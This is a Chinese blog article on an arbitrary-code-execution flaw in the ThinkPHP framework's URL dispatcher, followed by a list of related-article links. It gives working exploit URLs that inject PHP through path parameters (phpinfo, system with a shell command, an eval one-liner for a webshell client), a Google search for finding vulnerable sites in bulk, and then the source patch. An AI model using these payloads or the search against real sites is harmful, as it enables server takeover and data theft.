ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
关于文本留言本的分页代码
Oct 09 PHP
手把手教你使用DedeCms的采集的图文教程
Mar 11 PHP
PHP学习笔记之二 php入门知识
Jan 12 PHP
PHP大批量数据操作时临时调整内存与执行时间的方法
Apr 20 PHP
那些年我们错过的魔术方法(Magic Methods)
Jan 14 PHP
PHP调用JAVA的WebService简单实例
Mar 11 PHP
PHP实现的限制IP投票程序IP来源分析
May 04 PHP
PHP+MySQL存储数据常见中文乱码问题小结
Jun 13 PHP
PHP使用PDO调用mssql存储过程的方法示例
Oct 07 PHP
Laravel框架在本地虚拟机快速安装的方法详解
Jun 11 PHP
PHP常用日期加减计算方法实例小结
Jul 31 PHP
php利用ZipArchive类操作文件的实例
Jan 21 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
php5.2时间相差8小时
2007/01/15 PHP
Windows和Linux中php代码调试工具Xdebug的安装与配置详解
2014/05/08 PHP
JavaScript与HTML结合的基本使用方法整理
2015/10/12 PHP
PHP使用递归按层级查找数据的方法
2019/11/10 PHP
Jquery升级新版本后选择器的语法问题
2010/06/02 Javascript
一个非常全面的javascript URL解析函数和分段URL解析方法
2014/04/12 Javascript
总结JavaScript的正则与其他语言的不同之处
2016/08/25 Javascript
Javascript 动态改变imput type属性
2016/11/01 Javascript
详解Vue快速零配置的打包工具——parcel
2018/01/16 Javascript
Vue表单控件绑定图文详解
2019/02/11 Javascript
JS实现图片轮播效果实例详解【可自动和手动】
2019/04/04 Javascript
layui动态渲染生成select的option值方法
2019/09/23 Javascript
vue-dplayer 视频播放器实例代码
2019/11/08 Javascript
解决三元运算符 报错“SyntaxError: can''t assign to conditional expression”
2020/02/12 Javascript
JS数组的高级使用方法示例小结
2020/03/14 Javascript
[01:16:37]【全国守擂赛】第三周决赛 Dark Knight vs. 一个弱队
2020/05/04 DOTA
Python简单实现enum功能的方法
2016/04/25 Python
用python记录运行pid,并在需要时kill掉它们的实例
2017/01/16 Python
一百多行python代码实现抢票助手
2018/09/25 Python
python基础梳理(一)(推荐)
2019/04/06 Python
python操作日志的封装方法(两种方法)
2019/05/23 Python
python 实现在一张图中绘制一个小的子图方法
2019/07/07 Python
Python获取当前脚本文件夹(Script)的绝对路径方法代码
2019/08/27 Python
Html5 canvas画图白板踩坑
2020/06/01 HTML / CSS
美国购车网站:TrueCar
2016/10/19 全球购物
东方通信股份有限公司VC面试题
2014/08/27 面试题
妇产科护士自我鉴定
2013/10/15 职场文书
冬季安全检查方案
2014/05/23 职场文书
作风转变心得体会
2014/09/02 职场文书
竞选纪律委员演讲稿
2014/09/13 职场文书
党员专题组织生活会发言材料
2014/10/17 职场文书
乡镇科协工作总结2015
2015/05/19 职场文书
幼儿园小朋友毕业感言
2015/07/30 职场文书
2016年基层党支部书记公开承诺书
2016/03/25 职场文书
redis内存空间效率问题的深入探究
2021/05/17 Redis
MySQL事务的ACID特性以及并发问题方案
2022/07/15 MySQL